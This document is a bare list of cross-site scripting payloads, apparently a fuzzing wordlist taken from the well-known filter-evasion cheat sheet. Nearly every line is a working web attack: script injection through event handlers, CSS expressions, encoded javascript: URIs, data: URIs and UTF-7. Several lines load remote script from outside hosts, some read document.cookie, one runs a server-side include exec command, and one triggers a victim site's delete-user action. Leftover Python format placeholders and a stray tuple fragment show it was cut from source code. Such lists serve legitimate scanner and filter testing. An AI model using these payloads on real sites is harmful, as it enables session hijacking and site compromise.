&lt;DIV STYLE="width:expression(javascript:alert(1));"&gt;
&lt;IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))"&gt;
&lt;XSS STYLE="xss:expression(javascript:alert(1))"&gt;
&lt;STYLE TYPE="text/javascript"&gt;javascript:alert(1);&lt;/STYLE&gt;
&lt;STYLE&gt;.XSS{background-image:url("javascript:javascript:alert(1)");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type="text/css"&gt;BODY{background:url("javascript:javascript:alert(1)")}&lt;/STYLE&gt;
&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;javascript:alert(1);&lt;/SCRIPT&gt;&lt;![endif]--&gt;
&lt;BASE HREF="javascript:javascript:alert(1);//"&gt;
&lt;OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:javascript:alert(1)&gt;&lt;/OBJECT&gt;
&lt;HTML xmlns:xss&gt;&lt;?import namespace="xss" implementation="%(htc)s"&gt;&lt;xss:xss&gt;XSS&lt;/xss:xss&gt;&lt;/HTML&gt;""","XML namespace."),("""&lt;XML ID="xss"&gt;&lt;I&gt;&lt;B&gt;&amp;lt;IMG SRC="javas&lt;!-- --&gt;cript:javascript:alert(1)"&amp;gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;&lt;SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;&lt;?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"&gt;&lt;?import namespace="t" implementation="#default#time2"&gt;&lt;t:set attributeName="innerHTML" to="XSS&amp;lt;SCRIPT DEFER&amp;gt;javascript:alert(1)&amp;lt;/SCRIPT&amp;gt;"&gt;&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC="%(jpg)s"&gt;&lt;/SCRIPT&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
&lt;form id="test" /&gt;&lt;button form="test" formaction="javascript:javascript:alert(1)"&gt;X
&lt;body onscroll=javascript:alert(1)&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;input autofocus&gt;
&lt;P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)"&gt;
&lt;STYLE&gt;@import'%(css)s';&lt;/STYLE&gt;
&lt;STYLE&gt;a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}&lt;/STYLE&gt;
&lt;meta charset= "x-imap4-modified-utf7"&amp;&amp;&gt;&amp;&amp;&lt;script&amp;&amp;&gt;javascript:alert(1)&amp;&amp;;&amp;&amp;&lt;&amp;&amp;/script&amp;&amp;&gt;
&lt;SCRIPT onreadystatechange=javascript:javascript:alert(1);&gt;&lt;/SCRIPT&gt;
&lt;style onreadystatechange=javascript:javascript:alert(1);&gt;&lt;/style&gt;
&lt;?xml version="1.0"?&gt;&lt;html:html xmlns:html='http://www.w3.org/1999/xhtml'&gt;&lt;html:script&gt;javascript:alert(1);&lt;/html:script&gt;&lt;/html:html&gt;
&lt;embed code=%(scriptlet)s&gt;&lt;/embed&gt;
&lt;embed code=javascript:javascript:alert(1);&gt;&lt;/embed&gt;
&lt;embed src=%(jscript)s&gt;&lt;/embed&gt;
&lt;frameset onload=javascript:javascript:alert(1)&gt;&lt;/frameset&gt;
&lt;object onerror=javascript:javascript:alert(1)&gt;
&lt;embed type="image" src=%(scriptlet)s&gt;&lt;/embed&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC="javas]]&lt;![CDATA[cript:javascript:alert(1);"&gt;]]&lt;/C&gt;&lt;X&gt;&lt;/xml&gt;
&lt;IMG SRC=&amp;{javascript:alert(1);};&gt;
&lt;a href="jav&amp;#65ascript:javascript:alert(1)"&gt;test1&lt;/a&gt;
&lt;a href="jav&amp;#97ascript:javascript:alert(1)"&gt;test1&lt;/a&gt;
&lt;embed width=500 height=500 code="data:text/html,&lt;script&gt;%(payload)s&lt;/script&gt;"&gt;&lt;/embed&gt;
&lt;iframe srcdoc="&amp;LT;iframe&amp;sol;srcdoc=&amp;amp;lt;img&amp;sol;src=&amp;amp;apos;&amp;amp;apos;onerror=javascript:alert(1)&amp;amp;gt;&gt;"&gt;
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
&gt;&lt;/SCRIPT&gt;"&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
'';!--"&lt;XSS&gt;=&amp;{()}
&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC="javascript:alert('XSS');"&gt;
&lt;IMG SRC=javascript:alert('XSS')&gt;
&lt;IMG SRC=JaVaScRiPt:alert('XSS')&gt;
&lt;IMG SRC=javascript:alert("XSS")&gt;
&lt;IMG SRC=`javascript:alert("RSnake says, 'XSS'")`&gt;
&lt;a onmouseover="alert(document.cookie)"&gt;xxs link&lt;/a&gt;
&lt;a onmouseover=alert(document.cookie)&gt;xxs link&lt;/a&gt;
&lt;IMG """&gt;&lt;SCRIPT&gt;alert("XSS")&lt;/SCRIPT&gt;"&gt;
&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;
&lt;IMG SRC=# onmouseover="alert('xxs')"&gt;
&lt;IMG SRC= onmouseover="alert('xxs')"&gt;
&lt;IMG onmouseover="alert('xxs')"&gt;
&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;
&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;
&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;
&lt;IMG SRC="jav ascript:alert('XSS');"&gt;
&lt;IMG SRC="jav&amp;#x09;ascript:alert('XSS');"&gt;
&lt;IMG SRC="jav&amp;#x0A;ascript:alert('XSS');"&gt;
&lt;IMG SRC="jav&amp;#x0D;ascript:alert('XSS');"&gt;
perl -e 'print "&lt;IMG SRC=java\0script:alert(\"XSS\")&gt;";' &gt; out
&lt;IMG SRC=" &amp;#14; javascript:alert('XSS');"&gt;
&lt;SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")&gt;
&lt;SCRIPT/SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;&lt;SCRIPT&gt;alert("XSS");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&lt; B &gt;
&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;
&lt;IMG SRC="javascript:alert('XSS')"
&lt;iframe src=http://ha.ckers.org/scriptlet.html &lt;
\";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;
&lt;INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"&gt;
&lt;BODY BACKGROUND="javascript:alert('XSS')"&gt;
&lt;IMG DYNSRC="javascript:alert('XSS')"&gt;
&lt;IMG LOWSRC="javascript:alert('XSS')"&gt;
&lt;STYLE&gt;li {list-style-image: url("javascript:alert('XSS')");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS&lt;/br&gt;
&lt;IMG SRC='vbscript:msgbox("XSS")'&gt;
&lt;IMG SRC="livescript:"&gt;
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;BGSOUND SRC="javascript:alert('XSS');"&gt;
&lt;BR SIZE="&amp;{alert('XSS')}"&gt;
&lt;LINK REL="stylesheet" HREF="javascript:alert('XSS');"&gt;
&lt;LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"&gt;
&lt;STYLE&gt;@import'http://ha.ckers.org/xss.css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV="Link" Content="&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet"&gt;
&lt;STYLE&gt;BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}&lt;/STYLE&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript:alert("XSS")';&lt;/STYLE&gt;
&lt;IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"&gt;
exp/*&lt;A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'&gt;
&lt;STYLE TYPE="text/javascript"&gt;alert('XSS');&lt;/STYLE&gt;
&lt;STYLE&gt;.XSS{background-image:url("javascript:alert('XSS')");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type="text/css"&gt;BODY{background:url("javascript:alert('XSS')")}&lt;/STYLE&gt;
&lt;STYLE type="text/css"&gt;BODY{background:url("javascript:alert('XSS')")}&lt;/STYLE&gt;
&lt;XSS STYLE="xss:expression(alert('XSS'))"&gt;
&lt;XSS STYLE="behavior: url(xss.htc);"&gt;
¼script¾alert(¢XSS¢)¼/script¾
&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&gt;
&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"&gt;
&lt;META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"&gt;
&lt;IFRAME SRC="javascript:alert('XSS');"&gt;&lt;/IFRAME&gt;
&lt;IFRAME SRC=# onmouseover="alert(document.cookie)"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC="javascript:alert('XSS');"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND="javascript:alert('XSS')"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND="javascript:alert('XSS')"&gt;
&lt;DIV STYLE="background-image: url(javascript:alert('XSS'))"&gt;
&lt;DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"&gt;
&lt;DIV STYLE="background-image: url(&amp;#1;javascript:alert('XSS'))"&gt;
&lt;DIV STYLE="width: expression(alert('XSS'));"&gt;
&lt;BASE HREF="javascript:alert('XSS');//"&gt;
&lt;OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"&gt;&lt;/EMBED&gt;
&lt;SCRIPT SRC="http://ha.ckers.org/xss.jpg"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd="/bin/echo '&lt;SCR'"--&gt;&lt;!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;'"--&gt;
&lt;? echo('&lt;SCR)';echo('IPT&gt;alert("XSS")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"&gt;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser
&lt;META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a="&gt;" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT ="&gt;" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a="&gt;" '' SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT "a='&gt;'" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a="&gt;'&gt;" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document.write("&lt;SCRI");&lt;/SCRIPT&gt;PT SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;A HREF="http://66.102.7.147/"&gt;XSS&lt;/A&gt;
&lt;A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D"&gt;XSS&lt;/A&gt;
&lt;A HREF="http://1113982867/"&gt;XSS&lt;/A&gt;
&lt;A HREF="http://0x42.0x0000066.0x7.0x93/"&gt;XSS&lt;/A&gt;
&lt;A HREF="http://0102.0146.0007.00000223/"&gt;XSS&lt;/A&gt;
&lt;A HREF="htt p://6 6.000146.0x7.147/"&gt;XSS&lt;/A&gt;
&lt;iframe src="&amp;Tab;javascript:prompt(1)&amp;Tab;"&gt;
&lt;svg&gt;&lt;style&gt;{font-family&amp;colon;'&lt;iframe/onload=confirm(1)&gt;'
&lt;input/onmouseover="javaSCRIPT&amp;colon;confirm&amp;lpar;1&amp;rpar;"
&lt;sVg&gt;&lt;scRipt &gt;alert&amp;lpar;1&amp;rpar; {Opera}
&lt;img/src=`` onerror=this.onerror=confirm(1)
&lt;form&gt;&lt;isindex formaction="javascript&amp;colon;confirm(1)"
&lt;img src=``&amp;NewLine; onerror=alert(1)&amp;NewLine;
&lt;script/&amp;Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&amp;Tab;&gt;&lt;/script&gt;
&lt;ScRipT 5-0*3+9/3=&gt;prompt(1)&lt;/ScRipT giveanswerhere=?
&lt;iframe/src="data:text/html;&amp;Tab;base64&amp;Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="&gt;
&lt;script /**/&gt;/**/alert(1)/**/&lt;/script /**/
&amp;#34;&amp;#62;&lt;h1/onmouseover='\u0061lert(1)'&gt;
&lt;iframe/src="data:text/html,&lt;svg &amp;#111;&amp;#110;load=alert(1)&gt;"&gt;
&lt;meta content="&amp;NewLine; 1 &amp;NewLine;; JAVASCRIPT&amp;colon; alert(1)" http-equiv="refresh"/&gt;
&lt;svg&gt;&lt;script xlink:href=data&amp;colon;,window.open('https://www.google.com/')&gt;&lt;/script
&lt;svg&gt;&lt;script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
&lt;meta http-equiv="refresh" content="0;url=javascript:confirm(1)"&gt;
&lt;iframe src=javascript&amp;colon;alert&amp;lpar;document&amp;period;location&amp;rpar;&gt;
&lt;form&gt;&lt;a href="javascript:\u0061lert&amp;#x28;1&amp;#x29;"&gt;X
&lt;/script&gt;&lt;img/*/src="worksinchrome&amp;colon;prompt&amp;#x28;1&amp;#x29;"/*/onerror='eval(src)'&gt;
&lt;img/&amp;#09;&amp;#10;&amp;#11; src=`~` onerror=prompt(1)&gt;
&lt;form&gt;&lt;iframe &amp;#09;&amp;#10;&amp;#11; src="javascript&amp;#58;alert(1)"&amp;#11;&amp;#10;&amp;#09;;&gt;
&lt;a href="data:application/x-x509-user-cert;&amp;NewLine;base64&amp;NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&amp;#09;&amp;#10;&amp;#11;&gt;X&lt;/a
http://www.google&lt;script .com&gt;alert(document.location)&lt;/script
&lt;a&amp;#32;href&amp;#61;&amp;#91;&amp;#00;&amp;#93;"&amp;#00; onmouseover=prompt&amp;#40;1&amp;#41;&amp;#47;&amp;#47;"&gt;XYZ&lt;/a
&lt;img/src=@&amp;#32;&amp;#13; onerror = prompt('&amp;#49;')
&lt;style/onload=prompt&amp;#40;'&amp;#88;&amp;#83;&amp;#83;'&amp;#41;
&lt;script ^__^&gt;alert(String.fromCharCode(49))&lt;/script ^__^
&lt;/style &amp;#32;&gt;&lt;script &amp;#32; :-(&gt;/**/alert(document.location)/**/&lt;/script &amp;#32; :-(
&amp;#00;&lt;/form&gt;&lt;input type&amp;#61;"date" onfocus="alert(1)"&gt;
&lt;form&gt;&lt;textarea &amp;#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&amp;#x28;1&amp;#x29;'&gt;
&lt;script /***/&gt;/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/&lt;/script /***/
&lt;iframe srcdoc='&amp;lt;body onload=prompt&amp;lpar;1&amp;rpar;&amp;gt;'&gt;
&lt;a href="javascript:void(0)" onmouseover=&amp;NewLine;javascript:alert(1)&amp;NewLine;&gt;X&lt;/a&gt;
&lt;script ~~~&gt;alert(0%0)&lt;/script ~~~&gt;
&lt;style/onload=&amp;lt;!--&amp;#09;&amp;gt;&amp;#10;alert&amp;#10;&amp;lpar;1&amp;rpar;&gt;
&lt;///style///&gt;&lt;span %2F onmousemove='alert&amp;lpar;1&amp;rpar;'&gt;SPAN
&lt;img/src='https://i.imgur.com/P8mL8.jpg' onmouseover=&amp;Tab;prompt(1)
&amp;#34;&amp;#62;&lt;svg&gt;&lt;style&gt;{-o-link-source&amp;colon;'&lt;body/onload=confirm(1)&gt;'
&amp;#13;&lt;blink/&amp;#13; onmouseover=pr&amp;#x6F;mp&amp;#116;(1)&gt;OnMouseOver {Firefox &amp; Opera}
&lt;marquee onstart='javascript:alert&amp;#x28;1&amp;#x29;'&gt;^__^
&lt;div/style="width:expression(confirm(1))"&gt;X&lt;/div&gt; {IE7}
&lt;iframe// src=javaSCRIPT&amp;colon;alert(1)
//&lt;form/action=javascript&amp;#x3A;alert&amp;lpar;document&amp;period;cookie&amp;rpar;&gt;&lt;input/type='submit'&gt;//
/*iframe/src*/&lt;iframe/src="&lt;iframe/src=@"/onload=prompt(1) /*iframe/src*/&gt;
//|\\ &lt;script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'&gt; //|\\ &lt;/script //|\\
&lt;/font&gt;/&lt;svg&gt;&lt;style&gt;{src&amp;#x3A;'&lt;style/onload=this.onload=confirm(1)&gt;'&lt;/font&gt;/&lt;/style&gt;
&lt;a/href="javascript:&amp;#13; javascript:prompt(1)"&gt;&lt;input type="X"&gt;
&lt;/plaintext\&gt;&lt;/|\&gt;&lt;plaintext/onmouseover=prompt(1)
&lt;/svg&gt;''&lt;svg&gt;&lt;script 'AQuickBrownFoxJumpsOverTheLazyDog'&gt;alert&amp;#x28;1&amp;#x29; {Opera}
&lt;a href="javascript&amp;colon;\u0061&amp;#x6C;&amp;#101%72t&amp;lpar;1&amp;rpar;"&gt;&lt;button&gt;
&lt;div onmouseover='alert&amp;lpar;1&amp;rpar;'&gt;DIV&lt;/div&gt;
&lt;iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"&gt;
&lt;a href="jAvAsCrIpT&amp;colon;alert&amp;lpar;1&amp;rpar;"&gt;X&lt;/a&gt;
&lt;embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"&gt;
&lt;object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"&gt;
&lt;var onmouseover="prompt(1)"&gt;On Mouse Over&lt;/var&gt;
&lt;a href=javascript&amp;colon;alert&amp;lpar;document&amp;period;cookie&amp;rpar;&gt;Click Here&lt;/a&gt;
&lt;img src="/" =_=" title="onerror='prompt(1)'"&gt;
&lt;%&lt;!--'%&gt;&lt;script&gt;alert(1);&lt;/script --&gt;
&lt;script src="data:text/javascript,alert(1)"&gt;&lt;/script&gt;
&lt;iframe/src \/\/onload = prompt(1)
&lt;iframe/onreadystatechange=alert(1)
&lt;svg/onload=alert(1)
&lt;input value=&lt;&gt;&lt;iframe/src=javascript:confirm(1)
&lt;input type="text" value=`` &lt;div/onmouseover='alert(1)'&gt;X&lt;/div&gt;
http://www.&lt;script&gt;alert(1)&lt;/script .com
&lt;iframe src=j&amp;NewLine;&amp;Tab;a&amp;NewLine;&amp;Tab;&amp;Tab;v&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;a&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;s&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;c&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;r&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;i&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;p&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;t&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;colon;a&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;l&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;e&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;r&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;t&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;28&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;1&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;%29&gt;&lt;/iframe&gt;
&lt;svg&gt;&lt;script ?&gt;alert(1)
&lt;iframe src=j&amp;Tab;a&amp;Tab;v&amp;Tab;a&amp;Tab;s&amp;Tab;c&amp;Tab;r&amp;Tab;i&amp;Tab;p&amp;Tab;t&amp;Tab;:a&amp;Tab;l&amp;Tab;e&amp;Tab;r&amp;Tab;t&amp;Tab;%28&amp;Tab;1&amp;Tab;%29&gt;&lt;/iframe&gt;
&lt;img src=`xx:xx`onerror=alert(1)&gt;
&lt;object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "&gt;&lt;/object&gt;
&lt;meta http-equiv="refresh" content="0;javascript&amp;colon;alert(1)"/&gt;
&lt;math&gt;&lt;a xlink:href="//jsfiddle.net/t846h/"&gt;click
&lt;embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always&gt;
&lt;svg contentScriptType=text/vbs&gt;&lt;script&gt;MsgBox+1
&lt;a href="data:text/html;base64_,&lt;svg/onload=\u0061&amp;#x6C;&amp;#101%72t(1)&gt;"&gt;X&lt;/a
&lt;iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE&gt;
&lt;script&gt;~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')&lt;/script U+
&lt;script/src="data&amp;colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"&gt;&lt;/script a=\u0061 &amp; /=%2F
&lt;script/src=data&amp;colon;text/j\u0061v\u0061&amp;#115&amp;#99&amp;#114&amp;#105&amp;#112&amp;#116,\u0061%6C%65%72%74(/XSS/)&gt;&lt;/script
&lt;object data=javascript&amp;colon;\u0061&amp;#x6C;&amp;#101%72t(1)&gt;
&lt;script&gt;+-+-1-+-+alert(1)&lt;/script&gt;
&lt;body/onload=&amp;lt;!--&amp;gt;&amp;#10alert(1)&gt;
&lt;script itworksinallbrowsers&gt;/*&lt;script* */alert(1)&lt;/script
&lt;img src ?itworksonchrome?\/onerror = alert(1)
&lt;svg&gt;&lt;script&gt;//&amp;NewLine;confirm(1);&lt;/script &lt;/svg&gt;
&lt;svg&gt;&lt;script onlypossibleinopera:-)&gt; alert(1)
&lt;a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&amp;#97v&amp;#97script&amp;#x3A;&amp;#97lert(1)&gt;ClickMe
&lt;script x&gt; alert(1) &lt;/script 1=2
&lt;div/onmouseover='alert(1)'&gt; style="x:"&gt;
&lt;--`&lt;img/src=` onerror=alert(1)&gt; --!&gt;
&lt;script/src=&amp;#100&amp;#97&amp;#116&amp;#97:text/&amp;#x6a&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x000070&amp;#x074,&amp;#x0061;&amp;#x06c;&amp;#x0065;&amp;#x00000072;&amp;#x00074;(1)&gt;&lt;/script&gt;
&lt;div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)"&gt;x&lt;/button&gt;
"&gt;&lt;img src=x onerror=window.open('https://www.google.com/');&gt;
&lt;form&gt;&lt;button formaction=javascript&amp;colon;alert(1)&gt;CLICKME
&lt;math&gt;&lt;a xlink:href="//jsfiddle.net/t846h/"&gt;click
&lt;object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+&gt;&lt;/object&gt;
&lt;iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"&gt;&lt;/iframe&gt;
